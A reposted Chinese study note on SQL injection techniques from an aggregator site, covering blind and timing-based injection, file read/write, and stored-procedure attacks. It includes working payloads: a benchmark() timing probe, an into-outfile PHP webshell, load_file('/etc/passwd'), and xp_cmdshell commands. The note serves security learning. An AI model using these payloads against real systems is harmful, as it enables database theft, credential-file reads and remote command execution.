zoukankan      html  css  js  c++  java
  • Sql 注入----学习笔记2

    转载自:http://blog.51cto.com/quiterr/1699964

    sql注入

    sql注入98年第一次出现在《phrack》54期上。

    注入攻击有两个关键条件,第一是用户能够控制输入,第二是原本程序要执行的代码拼接了用户输入的数据。

    如果网站开启了错误回显,将为攻击者提供极大的便利。

    7.1.1 盲注

    “盲注”是在服务器没有错误回显时完成的攻击。

    最常见的盲注方法是构造简单的条件语句,根据返回页面是否发生变化,来判断sql语句是否得到执行。

    例如对比“id=2”、“id=2 and 1=2”及“id=2 and 1=1”的执行结果

    7.1.2 timing attack

    2011年由TimKode在Full Disclosure上公布。

    MySQL中的benchmark函数用于测试函数性能:

    benchmark(count,expr)
     

    将expr执行count次。利用benchmark函数可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击。

    例如:

    1170 union select if(substring(current,1,1)=
    char(119),benchmark(5000000,encode('msg','by 5 seconds')),null) from (
    select database() as current) as tbl;
     

    这段payload判断库名的第一个字母是否为char(119),即小写到w。如果判断为真,则会执行benchmark函数,造成较长延时;如果不为真,则该语句将很快执行完。攻击者遍历所有字母,直到将整个数据库全部验证完为止。其他有用函数:database(),system_user(),current_user(),last_insert_id()

    如果当前数据库用户具有写权限,那么攻击者还可以将信息写入本地磁盘中,比如写入web目录中,攻击者就有可能下载这些文件:

    1170 union all select table_name, table_type, engion from
    information_schema.tables where table_schema = 'mysql' order by
    table_name desc into outfile '/path/loc/on/server/www/schema.txt'
     

    通过dump文件的方法,可以写入一个webshell

    1170 union select "<? system($_request['cmd']);?>",2,3,4 into outfile
    "/var/www/html/temp/c.php"--
     

    timing attack是盲注多一种高级技巧,在不同的数据库中都有着类似benchmark的函数:

    postgresql-pg_sleep(5) or generate_series(1,10000000)

    ms sql server -waitfor delay '0:0:5'

    7.2  数据库攻击技巧

    找到sql注入漏洞,仅仅是一个开始。不同的数据库有着不同的sql注入技巧。

    7.2.1 常见攻击技巧

    猜mysql版本是否为4

    id=5 and substring(@@version,1,1)=4
     

    猜表admin是否存在

    id=5 union select 1,2,3 from admin
     

    猜列名passwd是否存在

    id=5 union select 1,2,passwd from admin
     

    进一步,可以通过判断字符的范围猜username、passwd具体的值(代码较长)。

    攻击过程非常繁琐,可以使用sqlmap来帮助完成整个过程。

    读写文件的技巧(以mysql为例):

    union selcet 1,1,load_file('/etc/passwd'),1,1;
     

    如果要将文件读出后再返回结果给攻击者,则需要有创建表的权限,首先通过load_file()将文件读出;再通过into dumpfile将文件写入系统,然后通过load data infile将文件导入创建的表中,最后通过一般的注入技巧直接操作表数据。

    7.2.2 命令执行

    除了通过webshell间接执行命令,还可以利用用户自定义函数来执行命令。mysql 5 中是利用lib_mysqludf_sys;在ms sql server中是利用xp_cmdshell;oracle中是利用java环境。幸运的是sqlmap已集成了这部分功能。

    7.2.3 攻击存储过程

    在ms sql server中,存储过程“xp_cmdshell”可谓臭名昭著,黑客可以利用它执行系统命令。

    exec master.dbo.xp_cmdshell 'cmd.exe dir c:'
    exec master.dbo.xp_cmdshell 'ping '
     

    虽然在sql server 2005之后默认禁止了,但是如果当前数据库用户拥有sysadmin权限,则可以使用sp_configure重新开启它。除此以外,xp_regread等可以操作注册表。xp_servicecontrol等可以操作服务。

    除了利用存储过程直接攻击外,存储过程本身也可能存在注入漏洞。

    7.2.4 编码问题

    书中举了一个利用宽字符集(每个字符占2个字节)“吃掉”转义符号“”的例子,可绕过对特殊字符的过滤。

    7.2.5 sql column truncation

    这是利用mysql的sql_mode选项,默认情况下,mysql对于用户输入的超长值只会提示warning而不是error。例如数据中原来有账号“admin”,这时插入新账号“admin(55个空格)x”,通过新账号即可进行原账号才能做的操作。sql

  • 相关阅读:
    LeetCode 295. Find Median from Data Stream (堆)
    LeetCode 292. Nim Game(博弈论)
    《JavaScript 模式》读书笔记(4)— 函数2
    《JavaScript 模式》读书笔记(4)— 函数1
    《JavaScript 模式》读书笔记(3)— 字面量和构造函数3
    《JavaScript 模式》读书笔记(3)— 字面量和构造函数2
    《JavaScript 模式》读书笔记(3)— 字面量和构造函数1
    《JavaScript 模式》读书笔记(2)— 基本技巧3
    《JavaScript 模式》读书笔记(2)— 基本技巧2
    《JavaScript 模式》读书笔记(2)— 基本技巧1
  • 原文地址:https://www.cnblogs.com/smileboys/p/10289793.html
Copyright © 2011-2022 走看看